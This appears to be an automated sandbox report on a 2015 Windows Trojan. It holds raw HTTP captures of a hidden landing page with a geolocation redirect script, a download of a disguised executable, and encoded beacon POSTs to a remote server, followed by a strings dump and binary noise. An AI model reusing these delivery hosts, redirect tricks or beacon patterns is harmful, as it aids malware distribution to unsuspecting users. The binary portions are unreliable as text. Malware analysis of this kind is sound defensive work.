GIF89a.............!.......,...........L..;HTTP/1.1 302 Found..Server: Tengine..Date: Sun, 26 Apr 2015 22:48:28 GMT..Content-Type: image/gif..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=PFnEDULM8goCAcGK9OdbedDL; expires=Wed, 23-Apr-25 22:48:28 GMT; path=/; domain=.mmstat.com..Set-Cookie: sca=992f74ca; path=/; domain=.cnzz.mmstat.com..Set-Cookie: atpsida=c37835c3c610c88d0b49cb8d_1430088508; expires=Wed, 23-Apr-25 22:48:28 GMT; path=/; domain=.cnzz.mmstat.com..Location: http://pcookie.cnzz.com/app.gif?&cna=PFnEDULM8goCAcGK9OdbedDL..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cache..GIF89a.............!.......,...........L..;..

GET /stat.htm?id=5887135&r=&lg=en-us&ntime=none&cnzz_eid=1987065364-1430088506-&showp=1276x846&t=&h=1&rnd=1967005646 HTTP/1.1

Accept: */*

Referer: hXXp://dl.ntfst.cn/tc.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: oz.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine/1.4.6

Date: Sun, 26 Apr 2015 22:48:27 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 09 Mar 2015 09:01:02 GMT

Connection: close

Accept-Ranges: bytes

GIF89a.............!.......,...........D..;..

GET /re58/girlshow_22000025816.exe HTTP/1.1

Accept: */*

Connection: Keep-Alive

Cache-Control: no-cache

Host: c.img001.com

HTTP/1.1 200 OK

Server: DnionOS/1.2.1.3

Date: Fri, 24 Apr 2015 20:00:27 GMT

Content-Type: application/octet-stream

Content-Length: 1060312

Last-Modified: Fri, 24 Apr 2015 02:29:07 GMT

Accept-Ranges: bytes

Age: 205288

Via: ZJHZ-235-125 (DLC-3.0), fjpt_255_204 (DLC-3.0)

Connection: keep-alive

Warning: 113 DLC-3.0

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J... ... ... ...#... ..j#... ....... ...#... ..j#... ... ...)...'... ...'..J ...'..r ... ... ...'... ..Rich. ..................PE..L.....8U.....................`....................@..........................`..................................................@.......................................................................H...................H...@....................text...3........................... ..`.rdata...>.......@..................@..@.data....p...@...0...@..............@....rsrc................p..............@..@.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

<<< skipped >>>

POST /Count/Index HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: your app agent name

Host: newplay.aliapp.com

Content-Length: 791

Cache-Control: no-cache

count=r0ry7WeHxTcfTfa3kI0AWLJL6USqnfnJtyYJqdFCy4tL2z/MmAfScDkaSQKJBbCQLVQSyMBdNmWKQSCpyWRRXWEQJreN1l6HfJJOKROTq/ wGL/keHyHCcAsG3kJUWofQtuUr8KTMzsr2mZ8SSBVQF1Wk/1CYgDEm9hBEKQ1lRnb0m76vOnVNbAEUHc7wKlkhodCoDqpjcdYIAjW90xnSB/Hf mIzymlAsSBuecVGCxo21Zk4xVotuIA5tQe69LcBE5SFTqXZfZS5VjoippXFxvJ84JwZFrN/f4gmt0 R7B/H2t0Rf1D6Wn7L0xlQfew8obduXaY2Kg=&key=OInvVe n19Vw4MzgtIfoo0hPeGsR fl5VginVA Ylwy5Gq0x2gifmKiLMFB5GUaR8L3Mt2lvQjW3PlMvJ1NZFUuVp0neOp5gowFTH SZv68iiJnmXVIsxa5YC3shyKqPGJz3mjZTDY3mSlJh8welFdh5Ef4ZAg2HRMQPfveMTFTfyhp/vn1woStTgQ3uEpZRBEEHe7XnGotHOgXqwW9PF9nttmHV48c80czVAVqXlZw0YUZ1Ihk4hYpRASiIadxNrdoubWfAZGadKJO92aWPz9e0 PhpurdMEBPG4fZDsE8R6r5M9NOokrXxIxf12xd3VzLLzuLSrTnrrbW8KsO0sJucI5g6/r4Bdrxyrs7RKb3NDBHcdbY5GQYnE6xf71J7HdUBSS59r5ROtWJOycRaBbD3TN8v3U90dpH5Cpgzu2dHba89yU3oOeEtgE nsr5y

HTTP/1.1 200 OK

Server: Tengine

Date: Sun, 26 Apr 2015 22:48:21 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Vary: Accept-Encoding

Set-Cookie: acesid=mno6o4alsqnljvf4nr0m542ef6; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

0..HTTP/1.1 200 OK..Server: Tengine..Date: Sun, 26 Apr 2015 22:48:21 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..Vary: Accept-Encoding..Set-Cookie: acesid=mno6o4alsqnljvf4nr0m542ef6; path=/..Expires: Thu, 19 Nov 1981 08:52:00 GMT..Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0..Pragma: no-cache..0......

POST /Count/Index/soft/ HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: your app agent name

Host: newplay.aliapp.com

Content-Length: 87

Cache-Control: no-cache

Cookie: acesid=mno6o4alsqnljvf4nr0m542ef6

soft=b4CWjRM1OPo=&uuid=G QYNwPHiC92o5YCvH5 OSldvWVuAPX1WD9dSFOm0JnAe95n5yCw/GdLrnV/XwON

HTTP/1.1 200 OK

Server: Tengine

Date: Sun, 26 Apr 2015 22:48:33 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Vary: Accept-Encoding

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

0..HTTP/1.1 200 OK..Server: Tengine..Date: Sun, 26 Apr 2015 22:48:33 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..Vary: Accept-Encoding..Expires: Thu, 19 Nov 1981 08:52:00 GMT..Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0..Pragma: no-cache..0..

GET /iplookup/iplookup.php?format=js HTTP/1.1

Accept: */*

Referer: hXXp://dl.ntfst.cn/tc.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: int.dpool.sina.com.cn

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Date: Sun, 26 Apr 2015 22:48:28 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 175

Connection: close

DPOOL_HEADER: tyr105

SINA-LB:aGEuMTIzLmcyLnlmLmxiLnNpbmFub2RlLmNvbQ==

SINA-TS:OThmMjk2Y2UgMCAwIDAgMyAwCg==

var remote_ip_info = {"ret":1,"start":-1,"end":-1,"country":"\u4e4c\u514b\u5170","province":"Kharkivs'ka Oblast'","city":"Kharkov","district":"","isp":"","type":"","desc":""};..

GET /core.php?web_id=5887135&t=z HTTP/1.1

Accept: */*

Referer: hXXp://dl.ntfst.cn/tc.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: c.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 748

Connection: keep-alive

Date: Sun, 26 Apr 2015 22:48:27 GMT

Last-Modified: Sun, 26 Apr 2015 22:48:27 GMT

Expires: Sun, 26 Apr 2015 23:03:27 GMT

Via: cache36.l2de1[568,200-0,M], cache44.l2de1[580,0], cache10.de1[580,200-0,M], cache4.de1[581,0]

X-Cache: MISS TCP_REFRESH_MISS dirn:2:403028701

X-Swift-SaveTime: Sun, 26 Apr 2015 22:48:27 GMT

X-Swift-CacheTime: 900

!function(){var p,q,r,a=encodeURIComponent,b="5887135",c="",d="",e="online_v3.php",f="z6.cnzz.com",g="1",h="text",i="z",j="站长统计",k=window["_CNZZDbridge_" b].bobject,l="http:",m="0",n=l "//online.cnzz.com/online/" e,o=[];o.push("id=" b),o.push("h=" f),o.push("on=" a(d)),o.push("s=" a(c)),n ="?" o.join("&"),"0"===m&&k.callRequest([l "//cnzz.mmstat.com/9.gif?abc=1"]),g&&(""!==d?k.createScriptIcon(n,"utf-8"):(q="z"==i?"hXXp://VVV.cnzz.com/stat/website.php?web_id=" b:"hXXp://quanjing.cnzz.com","pic"===h?(r=l "//icon.cnzz.com/img/" c ".gif",p="<a href='" q "' target=_blank title='" j "'><img border=0 hspace=0 vspace=0 src='" r "'></a>"):p="<a href='" q "' target=_blank title='" j "'>" j "</a>",k.createIcon([p])))}();HTTP/1.1 200 OK..Server: Tengine..Content-Type: application/javascript..Content-Length: 748..Connection: keep-alive..Date: Sun, 26 Apr 2015 22:48:27 GMT..Last-Modified: Sun, 26 Apr 2015 22:48:27 GMT..Expires: Sun, 26 Apr 2015 23:03:27 GMT..Via: cache36.l2de1[568,200-0,M], cache44.l2de1[580,0], cache10.de1[580,200-0,M], cache4.de1[581,0]..X-Cache: MISS TCP_REFRESH_MISS dirn:2:403028701..X-Swift-SaveTime: Sun, 26 Apr 2015 22:48:27 GMT..X-Swift-CacheTime: 900..!function(){var p,q,r,a=encodeURIComponent,b="5887135",c="",d="",e="online_v3.php",f="z6.cnzz.com",g="1",h="text",i="z",j="站长统计",k=window["_CNZZDbridge_" b].bobject,l="http:",m="0",n=l "//online.cnzz.com/online/" e,o=[];o.push("id=" b),o.push("h=" f),o.push("on=" a(d)

<<< skipped >>>

GET /tc.html HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: dl.ntfst.cn

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Sun, 26 Apr 2015 04:59:37 GMT

Server: nginx/1.4.4

Content-Type: text/html

Content-Length: 573

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

Access-Control-Max-Age: 2592000

Cache-Control: public, max-age=31536000

Content-Disposition: inline; filename="tc.html"

Content-Transfer-Encoding: binary

ETag: "FuGzggHDk-tmrBs8MwFGUiOt7X_F"

X-Log: mc.g/404;mc.g:2;RS:2;mc.s;IO:4

X-Reqid: bnQAADuR_XVKUNYT

X-Whom: nb263

X-Qiniu-Zone: 0

Age: 64128

X-Via: 1.1 tzh62:8080 (Cdn Cache Server V2.0), 1.1 sxdx59:3 (Cdn Cache Server V2.0)

Connection: keep-alive

<div style="display:none">..<script src="hXXp://v1.cnzz.com/stat.php?id=5887135&web_id=5887135" language="JavaScript"></script>..<script language="javascript" type="text/javascript" src="http://js.users.51.la/17440728.js"></script>..</div>.. <script src="hXXp://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js" type="text/javascript" charset=gb2312></script> .. <script>var gj=remote_ip_info["country"];if(gj.indexOf("\u4e2d\u56fd")>=0){document.writeln("<meta http-equiv=\"refresh\" content=\"0;url=hXXp://VVV.51weibo.com/tg/1.html?from=60001120223\">");}</script>..HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 04:59:37 GMT..Server: nginx/1.4.4..Content-Type: text/html..Content-Length: 573..Accept-Ranges: bytes..Access-Control-Allow-Origin: *..Access-Control-Max-Age: 2592000..Cache-Control: public, max-age=31536000..Content-Disposition: inline; filename="tc.html"..Content-Transfer-Encoding: binary..ETag: "FuGzggHDk-tmrBs8MwFGUiOt7X_F"..X-Log: mc.g/404;mc.g:2;RS:2;mc.s;IO:4..X-Reqid: bnQAADuR_XVKUNYT..X-Whom: nb263..X-Qiniu-Zone: 0..Age: 64128..X-Via: 1.1 tzh62:8080 (Cdn Cache Server V2.0), 1.1 sxdx59:3 (Cdn Cache Server V2.0)..Connection: keep-alive..<div style="display:none">..<script src="hXXp://v1.cnzz.com/stat.php?id=5887135&web_id=5887135" language="JavaScript"></script>..<script language="javascript" type="text/javascript" src="hXXp://js.users.51.la/17440728.js"></script>..</div>.. <script src="hXXp://int

<<< skipped >>>

GET /c/girlshow_22000025816.exe HTTP/1.1

Accept: */*

Host: download.re58.cn

Cache-Control: no-cache

HTTP/1.1 302 Moved Temporarily

Date: Sun, 26 Apr 2015 22:48:26 GMT

Server: nginx

Content-Type: application/octet-stream

Content-Length: 0

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Content-Disposition: attachment;filename="girlshow_22000025816.exe"

Location: hXXp://c.img001.com/re58/girlshow_22000025816.exe

Set-Cookie: rec_id=1:22000025816:0; domain=re58.cn; path=/; expires=Tue, 28-Apr-2015 22:29:52 GMT

Set-Cookie: HMAFROMURL=; domain=re58.cn; path=/; expires=Tue, 28-Apr-2015 22:29:52 GMT

Set-Cookie: GUAGUAACOUNTID=badu_13034453_1430087393; domain=re58.cn; path=/; expires=Tue, 28-Apr-2015 22:29:52 GMT

X-Via: 1.1 zhenjiang79:8109 (Cdn Cache Server V2.0), 1.1 kf50:9 (Cdn Cache Server V2.0)

Connection: keep-alive

HTTP/1.1 302 Moved Temporarily..Date: Sun, 26 Apr 2015 22:48:26 GMT..Server: nginx..Content-Type: application/octet-stream..Content-Length: 0..P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"..Content-Disposition: attachment;filename="girlshow_22000025816.exe"..Location: hXXp://c.img001.com/re58/girlshow_22000025816.exe..Set-Cookie: rec_id=1:22000025816:0; domain=re58.cn; path=/; expires=Tue, 28-Apr-2015 22:29:52 GMT..Set-Cookie: HMAFROMURL=; domain=re58.cn; path=/; expires=Tue, 28-Apr-2015 22:29:52 GMT..Set-Cookie: GUAGUAACOUNTID=badu_13034453_1430087393; domain=re58.cn; path=/; expires=Tue, 28-Apr-2015 22:29:52 GMT..X-Via: 1.1 zhenjiang79:8109 (Cdn Cache Server V2.0), 1.1 kf50:9 (Cdn Cache Server V2.0)..Connection: keep-alive..

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_2040:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

MFC42.DLL

MFC42.DLL

MSVCRT.dll

MSVCRT.dll

_acmdln

_acmdln

WinExec

WinExec

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

MSVCP60.dll

MSVCP60.dll

NETAPI32.dll

NETAPI32.dll

HttpQueryInfoA

HttpQueryInfoA

InternetOpenUrlA

InternetOpenUrlA

WININET.dll

WININET.dll

127.0.0.1

127.0.0.1

%s?%d

%s?%d

%s\%s

%s\%s

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

X-X-X-X-X-X

X-X-X-X-X-X

Windows 10

Windows 10

Windows 8.1

Windows 8.1

Windows 8

Windows 8

Windows 7

Windows 7

Windows Vista

Windows Vista

Windows 2003

Windows 2003

Windows XP

Windows XP

Windows 2000

Windows 2000

&key=

&key=

%d%d%d%d%d%d%d%d%d

%d%d%d%d%d%d%d%d%d

%Y%m%d%H%M%S

%Y%m%d%H%M%S

z.ico

z.ico

iY!hZ!hX"gV%hV%gV$fV$fW#fW#gW$gX$eX!gX!gX"gX#gY$fX$eU$gV$fW$eX"fY!dV!aU%`T']R'[T%\R&\P&[M%ZK%UJ#QI"PH"PG"PG#MG#NF#LF"MF"MF"KE"KE#JC%JB$JA%JA$JB$JA$JA$JA$IA$JA%KA%LC&KB%LD%MD%MD$NE%OE$PG'RJ(VM'VO%WR$XQ'ZP*\R aY c]*f_)g`)kf nm rq.vu1|y4

iY!hZ!hX"gV%hV%gV$fV$fW#fW#gW$gX$eX!gX!gX"gX#gY$fX$eU$gV$fW$eX"fY!dV!aU%`T']R'[T%\R&\P&[M%ZK%UJ#QI"PH"PG"PG#MG#NF#LF"MF"MF"KE"KE#JC%JB$JA%JA$JB$JA$JA$JA$IA$JA%KA%LC&KB%LD%MD%MD$NE%OE$PG'RJ(VM'VO%WR$XQ'ZP*\R aY c]*f_)g`)kf nm rq.vu1|y4

tw|tuztqyqpyqovpmuoltnjsmhqngqmfnmgllfjlfijfjifiheghcfhcggbfgbggchgbgf`gf`hgahf`gd_gc_ec`ee`de^ce^ce_be^cc_cc_bcbbaa``^__^`_^a_^`^^`]^`]^`]`a\bb^_b]_c^`d^_d[`e\af]^d[_eZ_eY^eXi\!i\#j\$j\$j\&l](m](n]'o_(o^)n`)na)l^(na)n_*l]*k](k]&k^%j^$i^%h[&fX'dV)aW*]U)\S&^R&ZP'ZN&ZM$YM$WK%TI%TH$SI$QG#RH$QG"PG#PG%OF$NF%OF&NF&NF&OE&OE&OF$PF$RG%QF%RG$SH%UK'TJ&UL%VM&XP(ZQ)\R)^V)^Y'`Z)c_)c`*fb.id2kh3om2to3wq5{u9~y;

tw|tuztqyqpyqovpmuoltnjsmhqngqmfnmgllfjlfijfjifiheghcfhcggbfgbggchgbgf`gf`hgahf`gd_gc_ec`ee`de^ce^ce_be^cc_cc_bcbbaa``^__^`_^a_^`^^`]^`]^`]`a\bb^_b]_c^`d^_d[`e\af]^d[_eZ_eY^eXi\!i\#j\$j\$j\&l](m](n]'o_(o^)n`)na)l^(na)n_*l]*k](k]&k^%j^$i^%h[&fX'dV)aW*]U)\S&^R&ZP'ZN&ZM$YM$WK%TI%TH$SI$QG#RH$QG"PG#PG%OF$NF%OF&NF&NF&OE&OE&OF$PF$RG%QF%RG$SH%UK'TJ&UL%VM&XP(ZQ)\R)^V)^Y'`Z)c_)c`*fb.id2kh3om2to3wq5{u9~y;

wu~wt|tt|urztrytpwrpvpnuolupjspjpphnnfnmgpmiolglkfklejkchjehjdhjdhhdhhdhhcigbgfdggbgeahebjfcgfbfe`ee_dcaedbdeaaa`__`^`__``a``b^`a]_b^`d^be^cf_ag_ag_bg]dg^bh^ci_ah^bh^dh^cg]ma&na&nc'nc)pe qd,sc td,ue-uf-sf sd qc ob ob o`*na*ma&k^$h]&g]*fZ,dV bV*_U(^T']Q'[O'YN&YN&XM$YL%XK&WJ%VH$VH$VI$WK%UI&SG&SG'RI(SH(UH(TI'TJ&TI(TJ&UL'WN(XM'WM&YP%[R&\R(^S)`T)aW f].f_/g`.hc-ke/mg1oi2rm4so5wt8xw

wu~wt|tt|urztrytpwrpvpnuolupjspjpphnnfnmgpmiolglkfklejkchjehjdhjdhhdhhdhhcigbgfdggbgeahebjfcgfbfe`ee_dcaedbdeaaa`__`^`__``a``b^`a]_b^`d^be^cf_ag_ag_bg]dg^bh^ci_ah^bh^dh^cg]ma&na&nc'nc)pe qd,sc td,ue-uf-sf sd qc ob ob o`*na*ma&k^$h]&g]*fZ,dV bV*_U(^T']Q'[O'YN&YN&XM$YL%XK&WJ%VH$VH$VI$WK%UI&SG&SG'RI(SH(UH(TI'TJ&TI(TJ&UL'WN(XM'WM&YP%[R&\R(^S)`T)aW f].f_/g`.hc-ke/mg1oi2rm4so5wt8xw

yw~yv~xu}wt|vszusytpyqpwrournsqkrpiqpgppgopgongoogmoflnelnfloflmfkleikdikdgiehidghdhhdjighhejgakfbjechecfe`cb_a_ac``c``aa`aa_a``ca`caafacf`cfadg`di_fkadk_el`ek_fk`gk`gjatg tg,tj.th-vj/vk/ui.vi.uf.uf/ug.ue-sc,qd*ob(ob)m`)i])g](f[*eX*eW)aV)^U(^S(^Q(ZO'XM%YL$XK$WI$VI$VJ$XJ$VH$XJ&XJ%VJ'UJ(UI'UI'VJ(VK(VL(WM(WN(VN)WO)ZP*[Q*[Q [S)\T(`V*cW.eY/h]/i_0ka0ld1me1qg4uk8wo:xr;{u

yw~yv~xu}wt|vszusytpyqpwrournsqkrpiqpgppgopgongoogmoflnelnfloflmfkleikdikdgiehidghdhhdjighhejgakfbjechecfe`cb_a_ac``c``aa`aa_a``ca`caafacf`cfadg`di_fkadk_el`ek_fk`gk`gjatg tg,tj.th-vj/vk/ui.vi.uf.uf/ug.ue-sc,qd*ob(ob)m`)i])g](f[*eX*eW)aV)^U(^S(^Q(ZO'XM%YL$XK$WI$VI$VJ$XJ$VH$XJ&XJ%VJ'UJ(UI'UI'VJ(VK(VL(WM(WN(VN)WO)ZP*[Q*[Q [S)\T(`V*cW.eY/h]/i_0ka0ld1me1qg4uk8wo:xr;{u

zv}vt{vrztpxsqxtpwsovsmuqktpjtpirohpohongnngmngloglpfmpcmnelneknelmckldjleildgkfglehibgfcihdhgdfecedbebbhbbibbgbbfbaeaceacedcfcehcfhdghcgjcglcflbfkbekbglahkbgkcxl1yn3{p0yp.yn0yn2ym2xj0ud/ra/sa0rb-rb*na(l^)j_ f] fZ,fY dW*aU(aU(]S(\Q&[O'ZN'XK$XK$WJ#VI#VH$VH%SH$TI&UG'TH(VI'UI(SJ(TK(UK*TK(UM(VN)WN)VO*YO [P \Q ]Q ]S*^U*aW,eZ.h\/g_0ic1jc3lc4oe2qg3sj4wk8ym

zv}vt{vrztpxsqxtpwsovsmuqktpjtpirohpohongnngmngloglpfmpcmnelneknelmckldjleildgkfglehibgfcihdhgdfecedbebbhbbibbgbbfbaeaceacedcfcehcfhdghcgjcglcflbfkbekbglahkbgkcxl1yn3{p0yp.yn0yn2ym2xj0ud/ra/sa0rb-rb*na(l^)j_ f] fZ,fY dW*aU(aU(]S(\Q&[O'ZN'XK$XK$WJ#VI#VH$VH%SH$TI&UG'TH(VI'UI(SJ(TK(UK*TK(UM(VN)WN)VO*YO [P \Q ]Q ]S*^U*aW,eZ.h\/g_0ic1jc3lc4oe2qg3sj4wk8ym

{x~zuzxsxxrwxqvvouumvtlusluqltqispiqohqogrohonhmohmnhloglpfkphmngnnelmeklekmfkmejmehlefkcfjcghbefccddgfdifdgecgebfdbfddgefhfehefieggfgheijegiegifikghkfjmdjkehldyo2zp3yo1xn/yo1xm1xj0vf/ra-ra.pa p_(n]'j\*i[,fY)eX*fV*dS)_S(\R'\O&\N%]O&[M%YM%YL$WI$VI#VI#VH$WH%UH(SH'TI&UH&UG(UJ(UK(VL(VK)VL)UL(VN*XO YO*[P \Q*^R*^S*_U*bW,eY-g[,h\.i`1ic3jd4oe3qe3pe3sg4th7uh8vh8vi9xi9zk9zm:xm:{o>~rA}qB|qC~rE

{x~zuzxsxxrwxqvvouumvtlusluqltqispiqohqogrohonhmohmnhloglpfkphmngnnelmeklekmfkmejmehlefkcfjcghbefccddgfdifdgecgebfdbfddgefhfehefieggfgheijegiegifikghkfjmdjkehldyo2zp3yo1xn/yo1xm1xj0vf/ra-ra.pa p_(n]'j\*i[,fY)eX*fV*dS)_S(\R'\O&\N%]O&[M%YM%YL$WI$VI#VI#VH$WH%UH(SH'TI&UH&UG(UJ(UK(VL(VK)VL)UL(VN*XO YO*[P \Q*^R*^S*_U*bW,eY-g[,h\.i`1ic3jd4oe3qe3pe3sg4th7uh8vh8vi9xi9zk9zm:xm:{o>~rA}qB|qC~rE

|x~|w|{vz{tyzrxypuvmutnssnstlpskqsjqqeppdnneoogmpfmphmoimogmohmnhlohknglmgllglofkneklfjneilbijbghcehdfhdffddfebgdcgdegeghghffhggggeggfhgefegeeigfiggigfigghfgihgwi1wi0vh1ti0th0sg/qc-qa,qa*p_(n])l]*j\ k],hY*fV'fU)eU)aS'^R%]P&\O&[N&[M&]N'[O%YQ$YN%XL%WK$WJ%XJ&XJ&WI&VJ&WI%VJ&WJ'XK'XL'ZN'[O&ZP&YP&]S(_T)`U)`V)bX*bY*dZ f[ e\,e[,h^.k`1ka3lc1nd0oc1pd1sd4qc5pd5re5sd5sc4sd2vf6wgvh>wh?ug=vg;vj8vl7tk6sk7tj7tm7sm7sk7sk9tl:sl9tl;vm;xm:xo;wp={r@|s@}u@{t@|u@~xA

|x~|w|{vz{tyzrxypuvmutnssnstlpskqsjqqeppdnneoogmpfmphmoimogmohmnhlohknglmgllglofkneklfjneilbijbghcehdfhdffddfebgdcgdegeghghffhggggeggfhgefegeeigfiggigfigghfgihgwi1wi0vh1ti0th0sg/qc-qa,qa*p_(n])l]*j\ k],hY*fV'fU)eU)aS'^R%]P&\O&[N&[M&]N'[O%YQ$YN%XL%WK$WJ%XJ&XJ&WI&VJ&WI%VJ&WJ'XK'XL'ZN'[O&ZP&YP&]S(_T)`U)`V)bX*bY*dZ f[ e\,e[,h^.k`1ka3lc1nd0oc1pd1sd4qc5pd5re5sd5sc4sd2vf6wgvh>wh?ug=vg;vj8vl7tk6sk7tj7tm7sm7sk7sk9tl:sl9tl;vm;xm:xo;wp={r@|s@}u@{t@|u@~xA

x}~v{~v{}sz{pzyrxypvwnuuotvntvjsuhpthqthqshpsgpqhqqhqrhqshqphpohpohpniooinofmlelmeklcilbijaijbhjcgidhgdehccicehdeicdhdcfcegcfgdegcdfcdfcefcceccecdfdcgdago`-o_.p_/p_.o`-o`,n_(o^(n^(l] l].j]-j]-k].h[ fY(fY*fY*dV(bV'bV'aT'_T'_T&]R&]S$]T$^S%]Q&\P&ZO&[O'[O&[O%\O&\P&]R%\R%^T&`U%bU%cV$bX%dY%g\(g\)h\)l_ ka i` i` i`,j`-lb/lb.nc/pg/rg/sh0pg0qf1rg3qg2tg3qe2se4ug5uh8vg:yi>wh

x}~v{~v{}sz{pzyrxypvwnuuotvntvjsuhpthqthqshpsgpqhqqhqrhqshqphpohpohpniooinofmlelmeklcilbijaijbhjcgidhgdehccicehdeicdhdcfcegcfgdegcdfcdfcefcceccecdfdcgdago`-o_.p_/p_.o`-o`,n_(o^(n^(l] l].j]-j]-k].h[ fY(fY*fY*dV(bV'bV'aT'_T'_T&]R&]S$]T$^S%]Q&\P&ZO&[O'[O&[O%\O&\P&]R%\R%^T&`U%bU%cV$bX%dY%g\(g\)h\)l_ ka i` i` i`,j`-lb/lb.nc/pg/rg/sh0pg0qf1rg3qg2tg3qe2se4ug5uh8vg:yi>wh

u{|t{ztzzpyynyzoyyoxxmwwnwxlvxmuvnuvkuujvukuukvtiurhsohqnhpofnmekkcijbhjahjbhjbhj`fhafiafj`dj^cj^aj`_i__h_^h_^h^`h]`h]ag\ag]`g^ag^bf^aehX)hV*iV jW jX)iZ'iZ'iY(gZ*h\ i\,h\,i],i\/i] f])f\)g\*g\)g[)f\)f\)fZ(dY'dZ&dY(dX(dX'dW'dW'eZ'eY(dX&e[&f\&h\&i^&j_&jb(lc*oe qf*rg tj vk.wk.xm/yp/xo.ul/xm0yo/yq0zr2zq3zr4}s4}t4}s4{r4{q3|r4|q2|r2}s6}r9|s9

u{|t{ztzzpyynyzoyyoxxmwwnwxlvxmuvnuvkuujvukuukvtiurhsohqnhpofnmekkcijbhjahjbhjbhj`fhafiafj`dj^cj^aj`_i__h_^h_^h^`h]`h]ag\ag]`g^ag^bf^aehX)hV*iV jW jX)iZ'iZ'iY(gZ*h\ i\,h\,i],i\/i] f])f\)g\*g\)g[)f\)f\)fZ(dY'dZ&dY(dX(dX'dW'dW'eZ'eY(dX&e[&f\&h\&i^&j_&jb(lc*oe qf*rg tj vk.wk.xm/yp/xo.ul/xm0yo/yq0zr2zq3zr4}s4}t4}s4{r4{q3|r4|q2|r2}s6}r9|s9

ir~is~ir~hq}go}fo}fp|fn{em{cn{amzal{\jxYhtYiuXitVfrUcrVdqVcoUdpTcpRapRbnPbmOblPclObmP`lQ`kP`iP_iQ^iQ]jP\jO\jP[jP]kP^kQ\jLE$MF&NF%NG%PE&QG&RI%TI%TI%XL&YN(YO(]Q)\T)^T)dY)f[)g\*j_.ka mc*pd.qd1tg3xn5zs8

ir~is~ir~hq}go}fo}fp|fn{em{cn{amzal{\jxYhtYiuXitVfrUcrVdqVcoUdpTcpRapRbnPbmOblPclObmP`lQ`kP`iP_iQ^iQ]jP\jO\jP[jP]kP^kQ\jLE$MF&NF%NG%PE&QG&RI%TI%TI%XL&YN(YO(]Q)\T)^T)dY)f[)g\*j_.ka mc*pd.qd1tg3xn5zs8

gs|eq|fp}go~en~en~en{cnzcn|bm{`lzbm{am|_lz^kz]jzZgwYivYiwYgwWeuVerTeqVdsTbsQbqSbqTbqSarQbqOanO`nN_nOamPcmOalN_kO`mN_lN^kP]kO]kO^lO^lME'OF(PG%NF$OF%PF&QG%SI'UI&VJ%WL'XN(\Q)^S(^U)bX*fZ fZ i]-k`,lc(pc-se2ui3yn6|r9

gs|eq|fp}go~en~en~en{cnzcn|bm{`lzbm{am|_lz^kz]jzZgwYivYiwYgwWeuVerTeqVdsTbsQbqSbqTbqSarQbqOanO`nN_nOamPcmOalN_kO`mN_lN^kP]kO]kO^lO^lME'OF(PG%NF$OF%PF&QG%SI'UI&VJ%WL'XN(\Q)^S(^U)bX*fZ fZ i]-k`,lc(pc-se2ui3yn6|r9

uR~tS}sU|qTxnRwlQxjOuiNrfNpcNn_Nn`Nl`Ml_Lj`Kh_Jh]Jh]Ii\Hf[GeYEeYEeYEdYFfYGfYGeXGdWFeXEg\Fh_Hg`GicHibGjcGmeIniHokJtnMxqO|rQ~uR

